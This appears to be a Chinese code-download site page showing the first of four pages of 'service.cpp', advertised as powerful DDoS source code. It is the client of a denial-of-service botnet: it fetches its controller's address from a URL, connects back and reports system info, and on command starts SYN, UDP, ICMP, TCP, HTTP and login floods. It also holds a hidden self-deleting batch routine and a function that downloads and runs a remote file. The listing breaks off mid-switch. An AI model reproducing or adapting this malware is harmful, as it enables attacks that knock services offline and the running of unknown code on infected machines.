⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.cpp

📁 一款效果非常不错的DDOS源码。很强大的说
💻 CPP
📖 第 1 页 / 共 4 页
字号:
	}
	//MessageBox(NULL,html,NULL,MB_OK);
	//分离客户端ip和端口
	point=html;
	if(strstr(html,"[")!=NULL)
	{
		point=point+strlen("[");
	}
	if(strstr(point,":")!=NULL)
	{
	    memset(ClientPa.IP,0,sizeof(ClientPa.IP));
		strncpy(ClientPa.IP,point,strcspn(point,":"));
		point=point+strcspn(point,":")+1;

		if(strstr(point,"]")!=NULL)
		{
		    memset(ClientPa.port,0,sizeof(ClientPa.port));
		    strncpy(ClientPa.port,point,strcspn(point,"]"));
		}
	}
	//::MessageBox(NULL,ClientIP,NULL,MB_OK);
	//::MessageBox(NULL,ClientPort,NULL,MB_OK);
	//*************************************************
	HANDLE hThread;
	unsigned long uiThreadID=0;
	try
	{
		if((ErrorCode=WSAStartup(MAKEWORD(2,2),&WsaData))!=0)
		{
			return -1;		
		}
		sock_client=::socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 
		if (sock_client==INVALID_SOCKET)
		{
			return -1;
		}
		//上线地址结构
		memset(&DestAddr,0,sizeof(DestAddr)); 
		DestAddr.sin_family=AF_INET; 
		DestAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP); 
		DestAddr.sin_port=htons(atoi(ClientPa.port));
		//连接上线

		if(connect(sock_client,(sockaddr*)&DestAddr,sizeof(DestAddr))==SOCKET_ERROR )
		{
			Sleep(3000);		
		}
		GetSystemInfo(sysinfo);
		//发送上线消息		
		if (SOCKET_ERROR!=send(sock_client,(char *)&sysinfo,sizeof(SYSTEMINIT),0))
		{	
		}			
		//注册异步socket
		if (WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_CLOSE)==SOCKET_ERROR)
		{	
		}
		//开始线程
		hThread=(HANDLE)::CreateThread(NULL,0,SocketThreadProc,&ClientPa,CREATE_SUSPENDED,&uiThreadID);
		if (hThread!=NULL)
		{		
			ResumeThread(hThread);
		}
	}
	catch(...)
	{}
	
	while(GetMessage(&msg,NULL,0,0))
	{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
	}
	return 1;
}

//***********************************************//自删除
void uninstall(void)//Thanks to Spybot
{
   int i;
   HANDLE hFile;
   DWORD dwWritten;
   char selfpathaaa[MAX_PATH]={0};
   char command[2048]={0};
   char name[]="afc9fe2f418b00a0.bat";
   GetModuleFileName(NULL,selfpathaaa,MAX_PATH);
   lstrcpy(command,"@echo off\n\r");
   for (i=0;i<10;i++) 
       lstrcat(command,"@echo asdfhdsafjkahlsdjfhlk>>3596799a1543bc9f.aqq\n\r");
   lstrcat(command,"@del 3596799a1543bc9f.aqq\n\r");
   lstrcat(command,"@del \"");
   lstrcat(command,selfpathaaa);
   lstrcat(command,"\"\n\r");
   lstrcat(command,"@del ");
   lstrcat(command,name);
   lstrcat(command,"\n\r@exit");
   hFile=CreateFile(name,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
   WriteFile(hFile,(LPCVOID)command,sizeof(command),&dwWritten,NULL);
   CloseHandle(hFile);
   WinExec(name,SW_HIDE);
   ExitProcess(NULL);
 }

///************************************************
char* GetHttpFile(char Url[])
{
	HMODULE hDll;
	LPVOID hInternet,hUrlHandle; 
	char buf[1000],*retstr=NULL;
	retstr=buf;
	DWORD dwFlags;
	
	hDll = LoadLibrary("wininet.dll");
	if(hDll)
	{
		typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
		typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
		typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
		typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
		pInternetOpen InternetOpen=NULL;
		pInternetOpenUrl InternetOpenUrl=NULL;
		pInternetCloseHandle InternetCloseHandle=NULL;
		pInternetReadFile InternetReadFile=NULL;
		InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
		InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA");
		InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
		InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
		
		hInternet = InternetOpen("Hackeroo",0, NULL, NULL, 0);
		if (hInternet != NULL)
		{
			hUrlHandle = InternetOpenUrl(hInternet, Url, NULL, 0, 0x04000000, 0);
			if (hUrlHandle!= NULL)
			{
				memset(buf,0,1000);
				InternetReadFile(hUrlHandle, buf,999, &dwFlags);
				InternetCloseHandle(hUrlHandle);
				hUrlHandle = NULL;
			}
			InternetCloseHandle(hInternet);
			hInternet = NULL;
		}
		FreeLibrary(hDll);
		return retstr;
	}
	else
		return NULL;
}

bool doHTTP(char* ServerName,DWORD port,char* ActionFile,  char* Method,char* HttpHeaders, char* FormData)
{ //doHTTP("127.0.0.1",8080,"*(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html","GET","Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n","");
	HMODULE hDll;
	LPVOID hSession,hConnect,hRequest; 
	bool bSendRequest=false;
	char buf[1000];
	DWORD dwFlags;

	hDll = LoadLibrary("wininet.dll");
	if(hDll)
	{
		typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
		typedef LPVOID ( WINAPI * pInternetConnect ) ( LPVOID ,LPCTSTR ,WORD ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
		typedef LPVOID ( WINAPI * pHttpOpenRequest ) ( LPVOID ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCTSTR ,LPCSTR FAR *  ,DWORD ,DWORD);
		typedef BOOL ( WINAPI * pHttpSendRequest ) (LPVOID ,LPCSTR ,DWORD ,LPVOID,DWORD) ;
		typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
		typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );

		pInternetOpen InternetOpen=NULL;
	    pInternetConnect InternetConnect=NULL;
		pHttpOpenRequest HttpOpenRequest=NULL;
		pHttpSendRequest HttpSendRequest=NULL;
		pInternetCloseHandle InternetCloseHandle=NULL;
		pInternetReadFile InternetReadFile=NULL;

	    InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
		InternetConnect = (pInternetConnect ) GetProcAddress ( hDll, "InternetConnectA");
		HttpOpenRequest = (pHttpOpenRequest) GetProcAddress (hDll,"HttpOpenRequestA");
		HttpSendRequest = ( pHttpSendRequest ) GetProcAddress( hDll, "HttpSendRequestA" );
		InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
		InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");

		// 创建Internet
		hSession = InternetOpen("Hackeroo",0, NULL, NULL, 0);
		if (hSession != NULL)
		{
			// 连接服务器
			hConnect = InternetConnect(hSession,ServerName,(WORD)port, NULL, NULL, 3, 0, 1);
			if (hConnect!= NULL)
			{
				// 创建一个请求
				LPTSTR AcceptTypes[2]={"*/*",NULL};
				hRequest = HttpOpenRequest(hConnect,Method,ActionFile,"HTTP/1.1",NULL,(LPCTSTR*)AcceptTypes,0, 1);
				if (hRequest!= NULL)
				{
					// 发送请求
					bSendRequest =HttpSendRequest(hRequest,HttpHeaders,strlen(HttpHeaders),FormData,strlen(FormData));
					if (bSendRequest)
					{
						memset(buf,0,1000);
						InternetReadFile(hRequest, buf,999, &dwFlags);
						printf("%s",buf);
					}
				}
			}
			// 清除句柄
			if (hRequest)
				InternetCloseHandle(hRequest);
			if (hConnect)
				InternetCloseHandle(hConnect);
			if (hSession)
				InternetCloseHandle(hSession);
		}
		FreeLibrary(hDll);
	}
	return bSendRequest;
}

void DownExec(char url[])
{
	HMODULE hshell,hurlmon;
	hshell=LoadLibrary("Shell32.dll");
	hurlmon=LoadLibrary("urlmon.dll");
	HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
	//动态加载shell32.dll中的ShellExecuteA函数
	DWORD (WINAPI *DOWNFILE)  (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);
	//动态加载Urlmon.dll中的UrlDownloadToFileA函数
	(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
	(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
	DOWNFILE(NULL,url,"c:\\pagefile.pif",0, NULL);	
	SHELLRUN(0,"open","c:\\pagefile.pif",NULL,NULL,5); 
        FreeLibrary(hshell);
        FreeLibrary(hurlmon);
}
void OpenUrl(char url[])
{
	HMODULE hshell;
	hshell=LoadLibrary("Shell32.dll");
	HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
	//动态加载shell32.dll中的ShellExecuteA函数

	(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");

	SHELLRUN(0,"open",url,NULL,NULL,5); 
        FreeLibrary(hshell);
}
//*************************************************
//连接线程//每30秒检测是否断线,并连接
unsigned long CALLBACK SocketThreadProc(LPVOID pParam)
{
	struct sockaddr_in TargAddr;
	memset(&TargAddr,0,sizeof(TargAddr));
	TargAddr.sin_family=AF_INET;
	TargAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP);
	TargAddr.sin_port=htons(atoi(ClientPa.port));

	while (1)
	{	
		if(connect(sock_client,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
		{
			Sleep(3000);
			int i=::WSAGetLastError();
			
			if (i==10056)//socket已连接
			{
				//发送在线检测消息
				int ret = send(sock_client,"test",strlen("test"),0);
				if (ret >0)//连接正常
				{
					Sleep(30000);
					continue;
				}			
			}

			//连接已经断开------------------------
			//如果sock中断,创建sock
			closesocket(sock_client);
			sock_client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
			Sleep(15000);

			char html[256];
			char *point;
			memset(html,0,sizeof(html));
					
			if(isdns)
			{
				strcpy(html,"[");
				strcat(html,modify_data.IPFile);
				strcat(html,"]");
			}
			else
			{
				//获取网页内容
				for(;;)
				{
					if(GetHttpFile!=NULL)
					{
						strcpy(html,strlwr(GetHttpFile(modify_data.IPFile)));
						break;
					}
					else
						Sleep(30000);
				}
			}
			//MessageBox(NULL,html,NULL,MB_OK);
			//*****************************//获取客户端ip和端口
			point=html;
			if(strstr(html,"[")!=NULL)
			{
				point=point+strlen("[");
			}
			if(strstr(point,":")!=NULL)
			{
				memset(ClientPa.IP,0,sizeof(ClientPa.IP));
				strncpy(ClientPa.IP,point,strcspn(point,":"));
				point=point+strcspn(point,":")+1;
						
				if(strstr(point,"]")!=NULL)
				{
					memset(ClientPa.port,0,sizeof(ClientPa.port));
					strncpy(ClientPa.port,point,strcspn(point,"]"));
							
					memset(&TargAddr,0,sizeof(TargAddr));
					TargAddr.sin_family=AF_INET;
					TargAddr.sin_addr.S_un.S_addr=resolve(ClientPa.IP);
					TargAddr.sin_port=htons(atoi(ClientPa.port));
				}
			}				
		}	
		else
		{
			send(sock_client,(char *)&sysinfo,sizeof(SYSTEMINIT),0);
			WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_CLOSE);
			Sleep(15000);
		}
		Sleep(1000);
	}
	
	return 0;

}
//*************************************************
//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 
{ 
	switch(message) 
	{ 
	case WM_SOCKET: 
		if(WSAGETSELECTERROR(lParam)) 
		{ 
			closesocket(wParam); 
			break;
		} 
		
		switch(WSAGETSELECTEVENT(lParam)) 
		{ 
			//读取输入
		case FD_READ:
			if (recv(sock_client,(char*)&fuckweb,sizeof(FUCKWEB),0)!=SOCKET_ERROR)
			{
				/*
				char msg[256];
				sprintf(msg,"%s|%d|%d|%d",fuckweb.FuckIP,fuckweb.FuckPort,fuckweb.FuckType,fuckweb.thread);
				::MessageBox(NULL,msg,NULL,MB_OK);
				break;
				*/
				stopfuck=false;
				int a;
				switch(fuckweb.FuckType)
				{
				case 1://syn flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
					}
					break;
				case 2://udp flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
					}
					break;
				case 3://udp 小包裹
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
					}
					break;
				case 4://icmp flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
					}
					break;
				case 5://tcp mutlconnect
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,connect_break,NULL,0,NULL);
					}
					::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
					break;
				case 6://tcp flood
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
					}
					break;
				case 7:
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,nocache_get,NULL,0,NULL);
					}
					break;
				case 8:
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,cc_attack,NULL,0,NULL);
					}					
					break;
				case 9:
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,null_get,NULL,0,NULL);
					}
					break;
				case 10://SF
					for (a=0;a<6;a++)
					{
						::CreateThread(NULL,0,Login_Attack,NULL,0,NULL);
					}
					break;
				case 11://LU
				case 12://chat
					{
					    ::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
					    ::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
					    ::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
						::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
						::CreateThread(NULL,0,connect_break,NULL,0,NULL);
						::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
						::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
					}
					break;
				case 13://
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
						::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
						::CreateThread(NULL,0,connect_break,NULL,0,NULL);
					}
					break;
				case 14://
					for (a=0;a<fuckweb.thread;a++)
					{
						::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
						::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
					}
					break;
				case 15://
					for (a=0;a<fuckweb.thread;a++)
					{

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -